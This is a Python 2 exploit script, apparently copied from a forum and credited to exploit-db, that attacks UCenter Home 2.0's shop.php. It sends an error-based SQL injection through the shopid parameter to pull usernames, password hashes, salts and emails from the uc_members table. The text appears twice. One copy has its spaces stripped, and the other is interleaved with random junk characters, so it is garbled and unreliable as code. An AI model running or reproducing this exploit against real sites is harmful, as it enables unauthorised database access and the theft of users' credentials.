#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl- N7 Y$ j9 U3 }3 V
! F. J: {4 S5 g6 S8 e; e& I
: Z, B6 p1 \: | z* R1 J#!/usr/bin/env python
" }# J0 X* D6 S) a5 o 4 D- s* ~9 `; U4 ^5 J e% U. {
import sys & a: Y+ }+ {7 A! o8 D& k
import urllib2
* ]8 W8 Q+ d" h) r3 u T: B. K ximport re
2 ?* H4 C' H: F' r" W1 y" x3 W
5 M( b! w. E7 Q8 vdef info(): ' |/ ^: w6 w8 d7 c( N
print 'From:http://www.exploit-db.com/exploits/14997/' 6 W' J, _- x' ?- m
print 'http://www.hake.cc/Web_loudong/' / k! K# z- J2 w" z
print 'changed:qiaoy'
. {* X" ^" T2 F, q+ c ?5 ^ print 'exp:'
3 P8 e% v! M$ l9 [. C" y# I print ' ./UCenter_Home_2.0.py site'
) c* a0 v3 k- e8 ]3 |( t' y- Y % Z g9 C: e+ G, l$ B7 o6 x8 k
def main():
2 i: l& Y# ]# _ v if len(sys.argv) != 2:
. g+ ?9 E+ @' [: R6 k/ _ info() ! U) U6 C4 h: Z7 [) e) O
else:
# f: E9 a8 p! b site = sys.argv[1]
7 d& f$ D4 d& ~1 P. k if site[0:7] == 'http://':
" g+ \2 v( x7 }1 Z3 P6 L) y sitesite =site 2 H+ r( A# Q, h% W3 g' C3 O: Y# }
elif site[0:8] == 'https://':
' o8 \- w1 ~! f sitesite = site 1 {' N% S* o) `; h* q: k- s7 _
else:
8 g4 T0 {; c- p: @ {: O site = 'http://'+site
. p3 X7 Q4 [, u) ^. `6 W try:
) Q; g& S$ M0 S1 K; p7 \. n0 Y url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
' h9 t3 C$ T2 Q; ~8 d6 z% U3 U: P Value = urllib2.urlopen(url).read()
% J9 |) Z. H7 T" v* { Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] ' S' N9 |& U" c, E
hacked = Msg.split(':') + ^2 q6 Y5 T, s) c. z3 |9 }2 g
print 'Name: '+hacked[1]
) R7 w0 Z) D" O: c6 v# ?# {# E print 'Passwd: '+hacked[2] 5 L _0 J# B1 p3 O
print 'salt: '+hacked[3] 8 `1 i$ W+ B1 t2 P& y& a8 S
print 'email: '+hacked[4]
$ S+ D3 C. F8 Y* s8 l except:
9 F+ ?4 X' b) ]0 `( m0 z* }& T. U; c- [ print 'Sorry,I can\'t work............'
9 {' p! U. ~" J9 C7 P) r3 A q
' g, O6 \- s: Y% j# [4 c2 E. o8 vif __name__ == '__main__':
0 E7 z# `4 N( h7 N$ M main() |